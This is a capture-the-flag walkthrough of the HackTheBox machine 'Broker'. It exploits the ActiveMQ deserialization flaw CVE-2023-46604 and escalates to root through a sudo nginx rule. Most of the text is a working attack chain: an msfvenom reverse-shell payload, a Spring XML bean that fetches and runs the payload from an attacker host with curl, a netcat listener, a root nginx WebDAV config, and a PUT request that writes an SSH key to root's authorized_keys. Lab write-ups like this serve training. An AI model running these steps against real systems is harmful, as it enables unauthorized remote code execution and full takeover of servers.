Broker - HackTheBox Writeup

Machine Information

Machine Rating

⭐⭐☆☆☆ (2/5)

Difficulty Assessment:

• Enumeration: ⭐⭐☆☆☆
• Real-world: ⭐⭐⭐⭐⭐
• CVE: ⭐⭐⭐☆☆
• CTF-like: ⭐⭐⭐☆☆

Summary

Broker is an easy difficulty Linux machine hosting Apache ActiveMQ 5.15.15, which is vulnerable to an unauthenticated remote code execution flaw (CVE-2023-46604). The vulnerability stems from unsafe deserialization in the message handling protocol, allowing attackers to instantiate arbitrary classes with controlled data. After gaining initial access as the activemq user, privilege escalation is achieved through a misconfigured sudo rule that permits execution of /usr/sbin/nginx with a custom configuration file. By leveraging the ngx_http_dav_module with WebDAV PUT methods, an attacker can write files as root, enabling SSH key injection for direct root access.

TL;DR: Exploit CVE-2023-46604 in Apache ActiveMQ → RCE as activemq user → Abuse sudo nginx misconfiguration with WebDAV module → Write SSH keys to /root/.ssh/authorized_keys → SSH as root.

Reconnaissance

Port Scanning

# Initial comprehensive port scan
ports=$(nmap -p- --min-rate=1000 -T4 10.129.230.87 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

# Detailed scan of discovered ports
nmap -p$ports -sC -sV 10.129.230.87

Results:

Service Enumeration

The scan reveals three key services:

• SSH (Port 22): Standard OpenSSH service for remote authentication
• HTTP (Port 80): Nginx web server, likely a proxy or management interface
• Apache ActiveMQ (Port 61616): Message broker service running on the non-standard port, version 5.15.15

Vulnerability Assessment

Research into Apache ActiveMQ 5.15.15 reveals the machine is vulnerable to CVE-2023-46604, an unauthenticated remote code execution flaw affecting versions prior to 5.15.16 and 5.16.x before 5.16.7.

Root Cause: The vulnerability exploits unsafe deserialization in ActiveMQ’s OpenWire protocol. When processing incoming messages, ActiveMQ deserializes data intended to represent error objects (Throwable class) without proper validation. An attacker with network access to the ActiveMQ port can send specially crafted serialized objects that instantiate arbitrary classes, such as org.springframework.context.support.ClassPathXmlApplicationContext, which can load and execute malicious Spring bean configurations from remote XML files.

Initial Foothold

Exploitation Path

Step 1: Obtain Exploit Code

A public proof-of-concept exploit written in Go is available on GitHub. This PoC implements the deserialization attack by crafting malicious OpenWire protocol messages.

# Download and extract the CVE-2023-46604 exploit repository
wget https://github.com/SaumyajeetDas/CVE-2023-46604-RCE-Reverse-Shell-Apache-ActiveMQ/archive/refs/heads/main.zip
unzip main.zip
cd CVE-2023-46604-RCE-Reverse-Shell-Apache-ActiveMQ-main/

Step 2: Generate Payload

Create a reverse shell payload using msfvenom that will be executed on the target system.

# Generate a Linux x64 ELF reverse shell pointing back to attacker machine
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.48 LPORT=4444 -f elf -o test.elf

Step 3: Create Malicious XML Configuration

The exploit works by having ActiveMQ load a Spring XML configuration from a remote server. This configuration file contains a ProcessBuilder bean that executes arbitrary shell commands.

Create /tmp/poc-linux.xml:

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="
       http://www.springframework.org/schema/beans
       http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
            <list>
                <value>sh</value>
                <value>-c</value>
                <!-- Download msfvenom payload, make executable, and run it -->
                <value>curl -s -o test.elf http://10.10.14.48:8001/test.elf; chmod +x ./test.elf; ./test.elf</value>
            </list>
        </constructor-arg>
    </bean>
</beans>

Step 4: Set Up Listener and Web Server

Open two terminal windows:

Terminal 1 - HTTP Server (to serve payload and XML):

# Start Python HTTP server on port 8001 in background
python3 -m http.server 8001 &

# Verify files are accessible
ls -la test.elf poc-linux.xml

Terminal 2 - Netcat Listener (to catch reverse shell):

# Start netcat listener on port 4444
nc -lvvp 4444

Step 5: Execute Exploit

In a third terminal, run the Go-based exploit against the target:

# Execute the CVE-2023-46604 exploit
# -i: target IP address
# -p: target ActiveMQ port
# -u: URL to malicious XML configuration
go run main.go -i 10.129.230.87 -p 61616 -u http://10.10.14.48:8001/poc-linux.xml

Step 6: Verify Foothold

Return to the Netcat listener terminal. Within moments, a reverse shell connection will arrive:

# Expected output on netcat listener:
# listening on [any] 4444 ...
# connect to [10.10.14.48] from broker.htb [10.129.230.87] 12345
# id
# uid=117(activemq) gid=117(activemq) groups=117(activemq)

User flag:

cat /home/activemq/user.txt

Privilege Escalation

Exploitation Path

Step 1: Enumerate Sudo Privileges

From the activemq shell, check what commands can be executed with sudo:

sudo -l

Expected output:

User activemq may run the following commands on broker:
    (ALL) NOPASSWD: /usr/sbin/nginx

This reveals a critical misconfiguration: the activemq user can execute nginx as root without a password, and can specify a custom configuration file via the -c flag.

Step 2: Create Malicious Nginx Configuration

Nginx supports the WebDAV HTTP extension through the ngx_http_dav_module, which allows file uploads via PUT requests. By configuring nginx to run as root with WebDAV enabled, we can write files as the root user.

Create the malicious config file:

cat << 'EOF' > /tmp/pwn.conf
user root;
worker_processes 4;
pid /tmp/nginx.pid;

events {
    worker_connections 768;
}

http {
    server {
        listen 1337;
        root /;
        autoindex on;

        # Enable WebDAV PUT method for file uploads
        dav_methods PUT;
    }
}
EOF

Key configuration elements:

• user root; — Worker processes run as root, so uploaded files are owned by root
• root /; — Document root is the filesystem root, allowing access to any path
• dav_methods PUT; — Enables the PUT HTTP method for file uploads
• listen 1337; — Listens on port 1337 to avoid conflicts

Step 3: Start Malicious Nginx Server

Execute nginx with the custom configuration as root via sudo:

sudo nginx -c /tmp/pwn.conf

Verify the server is listening:

ss -tlpn | grep 1337

Expected output:

LISTEN 0 511 0.0.0.0:1337 0.0.0.0:* users:(("nginx",pid=XXXX,fd=7))

Step 4: Generate SSH Keypair

Generate an RSA keypair that will be used to authenticate as root:

ssh-keygen -N "" -f /tmp/root

# This creates:
# /tmp/root     (private key)
# /tmp/root.pub (public key)

Step 5: Write SSH Public Key to Root’s Authorized Keys

Use curl to send a PUT request to the WebDAV-enabled nginx server, writing the public key to /root/.ssh/authorized_keys:

# Upload public key to root's authorized_keys file
curl -X PUT localhost:1337/root/.ssh/authorized_keys -d "$(cat /tmp/root.pub)"

The request succeeds because:

1. Nginx is running as root (user directive in config)
2. Document root is /, so the path /root/.ssh/authorized_keys resolves to the actual root user’s SSH directory
3. WebDAV PUT method is enabled, allowing file creation and modification

Step 6: SSH as Root

From your attacker machine, SSH into the target as root using the private key:

ssh -i /tmp/root root@10.129.230.87

Verification:

root@broker:~# id
uid=0(root) gid=0(root) groups=0(root)

# Retrieve root flag
cat /root/root.txt

Attack Chain Summary

Reconnaissance (nmap)
        ↓
Identify Apache ActiveMQ 5.15.15 on port 61616
        ↓
Research CVE-2023-46604 (Unsafe Deserialization)
        ↓
Download public PoC exploit (Go-based)
        ↓
Generate msfvenom Linux x64 reverse shell payload
        ↓
Create malicious Spring XML with ProcessBuilder bean
        ↓
Host payload and XML on attacker HTTP server
        ↓
Execute Go exploit against target (sends crafted OpenWire message)
        ↓
ActiveMQ instantiates ClassPathXmlApplicationContext with remote XML
        ↓
Spring loads XML and executes ProcessBuilder bean
        ↓
Target downloads payload, executes reverse shell
        ↓
Reverse shell connects to attacker Netcat listener
        ↓
Initial Foothold: activemq user access ✓
        ↓
Enumerate sudo privileges: activemq can run nginx as root
        ↓
Create nginx config with WebDAV PUT enabled, running as root
        ↓
Start malicious nginx on port 1337 via sudo
        ↓
Generate SSH keypair
        ↓
Upload public key via PUT request to /root/.ssh/authorized_keys
        ↓
SSH into target as root using private key
        ↓
Root Access ✓

Tools Used

Key Learnings

Techniques Practiced

• Deserialization Vulnerabilities: Understanding how unsafe deserialization of untrusted data can lead to arbitrary code execution through class instantiation
• Spring Framework Exploitation: Leveraging ClassPathXmlApplicationContext to load and execute malicious bean configurations from remote sources
• OpenWire Protocol Manipulation: Crafting protocol-specific messages to trigger vulnerable code paths in message brokers
• WebDAV Exploitation: Using HTTP PUT methods with improperly configured web servers to write arbitrary files
• Nginx Configuration Abuse: Exploiting sudo misconfiguration to run privileged processes with attacker-controlled configurations
• SSH Key Injection: Writing SSH public keys to authorized_keys files for persistent access

Lessons Learned

1. Version Control Matters: Always update software promptly. CVE-2023-46604 affected ActiveMQ versions that were already years old; updating to 5.15.16+ would have prevented compromise.

2. Sudo Configuration Risk: Allowing users to execute programs like nginx, Docker, or other daemons with custom configuration files is extremely dangerous. If an application can be configured to execute arbitrary commands (e.g., via ProcessBuilder in nginx configs), it becomes a privilege escalation vector.

3. Defense in Depth: This machine required two separate vulnerabilities (deserialization + sudo misconfiguration). A single layer of defense (proper input validation in ActiveMQ OR restrictive sudo rules) would have stopped the attack.

4. Protocol-Level Threats: Network-accessible services speaking custom protocols (like OpenWire) should be treated with caution. Fuzz testing and security audits of protocol handlers are critical.

5. Principle of Least Privilege: The activemq user should not have sudo access to nginx or any privileged service. Services should run with minimal necessary permissions.

6. WebDAV Dangers: The WebDAV module in web servers is a common attack surface. If not needed, it should be disabled. If enabled, strict filesystem permissions and root ownership of served directories should be enforced.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>